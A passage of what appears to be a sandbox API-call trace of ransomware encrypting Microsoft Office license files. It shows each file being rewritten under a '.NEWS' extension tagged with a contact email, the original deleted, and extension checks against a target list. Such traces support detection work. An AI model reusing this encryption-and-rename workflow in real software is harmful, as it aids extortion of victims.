Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-phn.xrm-ms")) returned 0x220 [0184.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-phn.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0184.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0184.987] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0184.987] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0184.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-phn.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0184.988] GetLastError () returned 0x0 [0184.988] ReadFile (in: hFile=0x558, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x4dfe, lpOverlapped=0x0) returned 1 [0185.043] WriteFile (in: hFile=0x478, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x4e00, lpOverlapped=0x0) returned 1 [0185.045] ReadFile (in: hFile=0x558, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0185.045] WriteFile (in: hFile=0x478, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x11e, lpOverlapped=0x0) returned 1 [0185.045] SetEndOfFile (hFile=0x478) returned 1 [0185.541] CloseHandle (hObject=0x478) returned 1 [0185.557] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0185.557] SetEndOfFile (hFile=0x558) returned 1 [0185.576] CloseHandle (hObject=0x558) returned 1 [0185.577] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0185.577] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-phn.xrm-ms")) returned 1 [0185.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87 [0185.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87 [0185.578] lstrlenW (lpString=".doc") returned 4 [0185.578] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0185.578] lstrlenW (lpString=".docx") returned 5 [0185.578] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0185.578] lstrlenW (lpString=".pdf") returned 4 [0185.578] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0185.578] lstrlenW (lpString=".xls") returned 4 [0185.578] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0185.578] lstrlenW (lpString=".xlsx") returned 5 [0185.578] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0185.578] lstrlenW (lpString=".ppt") returned 4 [0185.579] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0185.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87 [0185.579] lstrlenW (lpString=".zip") returned 4 [0185.579] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0185.579] lstrlenW (lpString=".rar") returned 4 [0185.579] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0185.579] lstrlenW (lpString=".bz2") returned 4 [0185.579] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0185.579] lstrlenW (lpString=".7z") returned 3 [0185.579] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0185.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87 [0185.579] lstrlenW (lpString=".dbf") returned 4 [0185.579] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0185.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87 [0185.579] lstrlenW (lpString=".1cd") returned 4 [0185.579] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0185.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87 [0185.579] lstrlenW (lpString=".jpg") returned 4 [0185.579] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0185.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87 [0185.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87 [0185.579] lstrlenW (lpString=".doc") returned 4 [0185.579] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0185.579] lstrlenW (lpString=".docx") returned 5 [0185.579] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0185.579] lstrlenW (lpString=".pdf") returned 4 [0185.579] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0185.579] lstrlenW (lpString=".xls") returned 4 [0185.580] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0185.580] lstrlenW (lpString=".xlsx") returned 5 [0185.580] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0185.580] lstrlenW (lpString=".ppt") returned 4 [0185.580] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0185.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87 [0185.580] lstrlenW (lpString=".zip") returned 4 [0185.580] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0185.580] lstrlenW (lpString=".rar") returned 4 [0185.580] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0185.580] lstrlenW (lpString=".bz2") returned 4 [0185.580] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0185.580] lstrlenW (lpString=".7z") returned 3 [0185.580] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0185.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87 [0185.580] lstrlenW (lpString=".dbf") returned 4 [0185.580] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0185.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87 [0185.580] lstrlenW (lpString=".1cd") returned 4 [0185.580] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0185.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87 [0185.580] lstrlenW (lpString=".jpg") returned 4 [0185.580] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0185.580] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0185.580] lstrlenW (lpString="HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 35 [0185.581] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0185.581] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=19958) returned 1 [0185.581] CloseHandle (hObject=0x558) returned 1 [0185.582] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms")) returned 0x220 [0185.582] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0185.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0185.582] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0185.582] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0185.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0185.583] GetLastError () returned 0x0 [0185.583] ReadFile (in: hFile=0x558, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x4df6, lpOverlapped=0x0) returned 1 [0185.586] WriteFile (in: hFile=0x478, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x4e00, lpOverlapped=0x0) returned 1 [0185.587] ReadFile (in: hFile=0x558, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0185.588] WriteFile (in: hFile=0x478, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x11a, lpOverlapped=0x0) returned 1 [0185.588] SetEndOfFile (hFile=0x478) returned 1 [0185.588] CloseHandle (hObject=0x478) returned 1 [0185.588] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0185.588] SetEndOfFile (hFile=0x558) returned 1 [0185.592] CloseHandle (hObject=0x558) returned 1 [0185.592] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0185.592] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms")) returned 1 [0185.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0185.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0185.593] lstrlenW (lpString=".doc") returned 4 [0185.593] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0185.593] lstrlenW (lpString=".docx") returned 5 [0185.593] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0185.593] lstrlenW (lpString=".pdf") returned 4 [0185.593] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0185.593] lstrlenW (lpString=".xls") returned 4 [0185.593] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0185.593] lstrlenW (lpString=".xlsx") returned 5 [0185.593] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0185.594] lstrlenW (lpString=".ppt") returned 4 [0185.594] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0185.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0185.594] lstrlenW (lpString=".zip") returned 4 [0185.594] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0185.594] lstrlenW (lpString=".rar") returned 4 [0185.594] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0185.594] lstrlenW (lpString=".bz2") returned 4 [0185.594] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0185.594] lstrlenW (lpString=".7z") returned 3 [0185.594] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0185.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0185.594] lstrlenW (lpString=".dbf") returned 4 [0185.594] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0185.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0185.594] lstrlenW (lpString=".1cd") returned 4 [0185.594] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0185.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0185.594] lstrlenW (lpString=".jpg") returned 4 [0185.594] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0185.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0185.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0185.594] lstrlenW (lpString=".doc") returned 4 [0185.594] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0185.594] lstrlenW (lpString=".docx") returned 5 [0185.594] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0185.594] lstrlenW (lpString=".pdf") returned 4 [0185.595] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0185.595] lstrlenW (lpString=".xls") returned 4 [0185.595] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0185.595] lstrlenW (lpString=".xlsx") returned 5 [0185.595] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0185.595] lstrlenW (lpString=".ppt") returned 4 [0185.595] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0185.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0185.595] lstrlenW (lpString=".zip") returned 4 [0185.595] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0185.595] lstrlenW (lpString=".rar") returned 4 [0185.595] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0185.595] lstrlenW (lpString=".bz2") returned 4 [0185.595] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0185.595] lstrlenW (lpString=".7z") returned 3 [0185.595] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0185.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0185.595] lstrlenW (lpString=".dbf") returned 4 [0185.595] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0185.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0185.595] lstrlenW (lpString=".1cd") returned 4 [0185.595] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0185.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0185.595] lstrlenW (lpString=".jpg") returned 4 [0185.595] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0185.596] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0185.596] lstrlenW (lpString="HomeBusinessR_Retail3-pl.xrm-ms") returned 31 [0185.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0185.596] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=10659) returned 1 [0185.597] CloseHandle (hObject=0x558) returned 1 [0185.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms")) returned 0x220 [0185.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0185.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0185.597] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0185.597] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0185.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0185.598] GetLastError () returned 0x0 [0185.598] ReadFile (in: hFile=0x558, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x29a3, lpOverlapped=0x0) returned 1 [0185.601] WriteFile (in: hFile=0x478, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x29b0, lpOverlapped=0x0) returned 1 [0185.602] ReadFile (in: hFile=0x558, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0185.602] WriteFile (in: hFile=0x478, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x112, lpOverlapped=0x0) returned 1 [0185.602] SetEndOfFile (hFile=0x478) returned 1 [0185.603] CloseHandle (hObject=0x478) returned 1 [0185.603] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0185.603] SetEndOfFile (hFile=0x558) returned 1 [0185.607] CloseHandle (hObject=0x558) returned 1 [0185.607] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0185.608] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms")) returned 1 [0185.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81 [0185.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81 [0185.610] lstrlenW (lpString=".doc") returned 4 [0185.610] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0185.610] lstrlenW (lpString=".docx") returned 5 [0185.610] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0185.610] lstrlenW (lpString=".pdf") returned 4 [0185.610] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0185.610] lstrlenW (lpString=".xls") returned 4 [0185.610] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0185.610] lstrlenW (lpString=".xlsx") returned 5 [0185.610] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0185.610] lstrlenW (lpString=".ppt") returned 4 [0185.610] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0185.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81 [0185.610] lstrlenW (lpString=".zip") returned 4 [0185.610] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0185.610] lstrlenW (lpString=".rar") returned 4 [0185.610] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0185.610] lstrlenW (lpString=".bz2") returned 4 [0185.610] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0185.610] lstrlenW (lpString=".7z") returned 3 [0185.610] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0185.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81 [0185.610] lstrlenW (lpString=".dbf") returned 4 [0185.611] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0185.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81 [0185.611] lstrlenW (lpString=".1cd") returned 4 [0185.611] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0185.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81 [0185.611] lstrlenW (lpString=".jpg") returned 4 [0185.611] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0185.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81 [0185.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81 [0185.611] lstrlenW (lpString=".doc") returned 4 [0185.611] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0185.611] lstrlenW (lpString=".docx") returned 5 [0185.611] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0185.611] lstrlenW (lpString=".pdf") returned 4 [0185.611] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0185.611] lstrlenW (lpString=".xls") returned 4 [0185.611] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0185.611] lstrlenW (lpString=".xlsx") returned 5 [0185.611] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0185.611] lstrlenW (lpString=".ppt") returned 4 [0185.611] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0185.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81 [0185.611] lstrlenW (lpString=".zip") returned 4 [0185.611] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0185.611] lstrlenW (lpString=".rar") returned 4 [0185.611] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0185.611] lstrlenW (lpString=".bz2") returned 4 [0185.611] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0185.612] lstrlenW (lpString=".7z") returned 3 [0185.612] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0185.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81 [0185.612] lstrlenW (lpString=".dbf") returned 4 [0185.612] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0185.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81 [0185.612] lstrlenW (lpString=".1cd") returned 4 [0185.612] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0185.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81 [0185.612] lstrlenW 